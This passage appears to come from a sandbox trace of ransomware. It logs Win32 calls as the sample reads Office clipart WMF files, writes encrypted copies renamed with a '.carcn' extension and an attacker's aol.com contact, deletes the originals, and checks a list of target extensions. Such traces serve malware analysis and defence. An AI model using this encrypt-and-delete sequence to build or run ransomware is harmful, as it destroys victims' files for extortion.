lpNumberOfBytesRead=0x2a9fecc*=0x2458, lpOverlapped=0x0) returned 1 [0266.126] WriteFile (in: hFile=0x558, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x2460, lpOverlapped=0x0) returned 1 [0266.128] ReadFile (in: hFile=0x554, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0266.128] WriteFile (in: hFile=0x558, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0266.128] SetEndOfFile (hFile=0x558) returned 1 [0266.128] CloseHandle (hObject=0x558) returned 1 [0266.132] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.132] SetEndOfFile (hFile=0x554) returned 1 [0266.135] CloseHandle (hObject=0x554) returned 1 [0266.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0266.135] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 1 [0266.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0266.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0266.136] lstrlenW (lpString=".doc") returned 4 [0266.136] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.136] lstrlenW (lpString=".docx") returned 5 [0266.136] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0266.136] lstrlenW (lpString=".pdf") returned 4 [0266.136] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.136] lstrlenW (lpString=".xls") returned 4 [0266.136] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.136] lstrlenW (lpString=".xlsx") returned 5 [0266.136] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0266.136] lstrlenW (lpString=".ppt") returned 4 [0266.136] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0266.136] lstrlenW (lpString=".zip") returned 4 [0266.136] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.137] lstrlenW (lpString=".rar") returned 4 [0266.137] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.137] lstrlenW (lpString=".bz2") returned 4 [0266.137] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.137] lstrlenW (lpString=".7z") returned 3 [0266.137] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0266.137] lstrlenW (lpString=".dbf") returned 4 [0266.137] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0266.137] lstrlenW (lpString=".1cd") returned 4 [0266.137] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0266.137] lstrlenW (lpString=".jpg") returned 4 [0266.137] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0266.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0266.137] lstrlenW (lpString=".doc") returned 4 [0266.137] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.137] lstrlenW (lpString=".docx") returned 5 [0266.137] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0266.137] lstrlenW (lpString=".pdf") returned 4 [0266.137] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.137] lstrlenW (lpString=".xls") returned 4 [0266.137] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.137] lstrlenW (lpString=".xlsx") returned 5 [0266.137] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0266.138] lstrlenW (lpString=".ppt") returned 4 [0266.138] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0266.138] lstrlenW (lpString=".zip") returned 4 [0266.138] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.138] lstrlenW (lpString=".rar") returned 4 [0266.138] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.138] lstrlenW (lpString=".bz2") returned 4 [0266.138] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.138] lstrlenW (lpString=".7z") returned 3 [0266.138] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0266.138] lstrlenW (lpString=".dbf") returned 4 [0266.138] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0266.138] lstrlenW (lpString=".1cd") returned 4 [0266.138] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0266.138] lstrlenW (lpString=".jpg") returned 4 [0266.138] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.138] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0266.138] lstrlenW (lpString="BL00242_.WMF") returned 12 [0266.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0266.139] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=4024) returned 1 [0266.139] CloseHandle (hObject=0x554) returned 1 [0266.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf")) returned 0x220 [0266.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0266.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0266.140] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.140] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0266.141] GetLastError () returned 0x0 [0266.141] ReadFile (in: hFile=0x554, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0xfb8, lpOverlapped=0x0) returned 1 [0266.255] WriteFile (in: hFile=0x558, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xfc0, lpOverlapped=0x0) returned 1 [0266.256] ReadFile (in: hFile=0x554, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0266.256] WriteFile (in: hFile=0x558, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0266.257] SetEndOfFile (hFile=0x558) returned 1 [0266.284] CloseHandle (hObject=0x558) returned 1 [0266.296] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.296] SetEndOfFile (hFile=0x554) returned 1 [0266.332] CloseHandle (hObject=0x554) returned 1 [0266.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0266.333] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf")) returned 1 [0266.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0266.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0266.334] lstrlenW (lpString=".doc") returned 4 [0266.334] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.334] lstrlenW (lpString=".docx") returned 5 [0266.334] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0266.334] lstrlenW (lpString=".pdf") returned 4 [0266.334] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.334] lstrlenW (lpString=".xls") returned 4 [0266.334] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.334] lstrlenW (lpString=".xlsx") returned 5 [0266.334] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0266.334] lstrlenW (lpString=".ppt") returned 4 [0266.334] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0266.334] lstrlenW (lpString=".zip") returned 4 [0266.334] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.334] lstrlenW (lpString=".rar") returned 4 [0266.334] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.334] lstrlenW (lpString=".bz2") returned 4 [0266.335] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.335] lstrlenW (lpString=".7z") returned 3 [0266.335] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0266.335] lstrlenW (lpString=".dbf") returned 4 [0266.335] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0266.335] lstrlenW (lpString=".1cd") returned 4 [0266.335] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0266.335] lstrlenW (lpString=".jpg") returned 4 [0266.335] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0266.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0266.335] lstrlenW (lpString=".doc") returned 4 [0266.335] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.335] lstrlenW (lpString=".docx") returned 5 [0266.335] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0266.335] lstrlenW (lpString=".pdf") returned 4 [0266.335] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.335] lstrlenW (lpString=".xls") returned 4 [0266.335] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.335] lstrlenW (lpString=".xlsx") returned 5 [0266.336] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0266.336] lstrlenW (lpString=".ppt") returned 4 [0266.336] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0266.336] lstrlenW (lpString=".zip") returned 4 [0266.336] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.336] lstrlenW (lpString=".rar") returned 4 [0266.336] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.336] lstrlenW (lpString=".bz2") returned 4 [0266.336] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.336] lstrlenW (lpString=".7z") returned 3 [0266.336] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0266.336] lstrlenW (lpString=".dbf") returned 4 [0266.336] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0266.336] lstrlenW (lpString=".1cd") returned 4 [0266.336] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0266.336] lstrlenW (lpString=".jpg") returned 4 [0266.336] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.337] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0266.337] lstrlenW (lpString="BL00248_.WMF") returned 12 [0266.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0266.337] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=1536) returned 1 [0266.337] CloseHandle (hObject=0x554) returned 1 [0266.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf")) returned 0x220 [0266.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0266.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0266.338] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.338] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0266.339] GetLastError () returned 0x0 [0266.339] ReadFile (in: hFile=0x554, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x600, lpOverlapped=0x0) returned 1 [0266.384] WriteFile (in: hFile=0x54c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x610, lpOverlapped=0x0) returned 1 [0266.385] ReadFile (in: hFile=0x554, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0266.385] WriteFile (in: hFile=0x54c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0266.385] SetEndOfFile (hFile=0x54c) returned 1 [0266.392] CloseHandle (hObject=0x54c) returned 1 [0266.411] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.412] SetEndOfFile (hFile=0x554) returned 1 [0266.417] CloseHandle (hObject=0x554) returned 1 [0266.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0266.417] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf")) returned 1 [0266.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0266.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0266.418] lstrlenW (lpString=".doc") returned 4 [0266.418] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.418] lstrlenW (lpString=".docx") returned 5 [0266.418] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0266.418] lstrlenW (lpString=".pdf") returned 4 [0266.418] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.418] lstrlenW (lpString=".xls") returned 4 [0266.418] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.418] lstrlenW (lpString=".xlsx") returned 5 [0266.419] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0266.419] lstrlenW (lpString=".ppt") returned 4 [0266.419] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0266.419] lstrlenW (lpString=".zip") returned 4 [0266.419] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.419] lstrlenW (lpString=".rar") returned 4 [0266.419] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.419] lstrlenW (lpString=".bz2") returned 4 [0266.419] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.419] lstrlenW (lpString=".7z") returned 3 [0266.419] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0266.419] lstrlenW (lpString=".dbf") returned 4 [0266.419] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0266.419] lstrlenW (lpString=".1cd") returned 4 [0266.419] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0266.419] lstrlenW (lpString=".jpg") returned 4 [0266.419] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0266.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0266.419] lstrlenW (lpString=".doc") returned 4 [0266.419] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.419] lstrlenW (lpString=".docx") returned 5 [0266.420] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0266.420] lstrlenW (lpString=".pdf") returned 4 [0266.420] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.420] lstrlenW (lpString=".xls") returned 4 [0266.420] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.420] lstrlenW (lpString=".xlsx") returned 5 [0266.420] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0266.420] lstrlenW (lpString=".ppt") returned 4 [0266.420] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0266.420] lstrlenW (lpString=".zip") returned 4 [0266.420] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.420] lstrlenW (lpString=".rar") returned 4 [0266.420] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.420] lstrlenW (lpString=".bz2") returned 4 [0266.420] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.420] lstrlenW (lpString=".7z") returned 3 [0266.420] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0266.420] lstrlenW (lpString=".dbf") returned 4 [0266.420] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0266.420] lstrlenW (lpString=".1cd") returned 4 [0266.420] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0266.420] lstrlenW (lpString=".jpg") returned 4 [0266.420] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.421] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0266.421] lstrlenW (lpString="BL00254_.WMF") returned 12 [0266.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0266.430] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=1736) returned 1 [0266.430] CloseHandle (hObject=0x548) returned 1 [0266.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf")) returned 0x220 [0266.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0266.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0266.431] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.431] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0266.432] GetLastError () returned 0x0 [0266.432] ReadFile (in: hFile=0x548, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x6c8, lpOverlapped=0x0) returned 1 [0266.524] WriteFile (in: hFile=0x554, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x6d0, lpOverlapped=0x0) returned 1 [0266.525] ReadFile 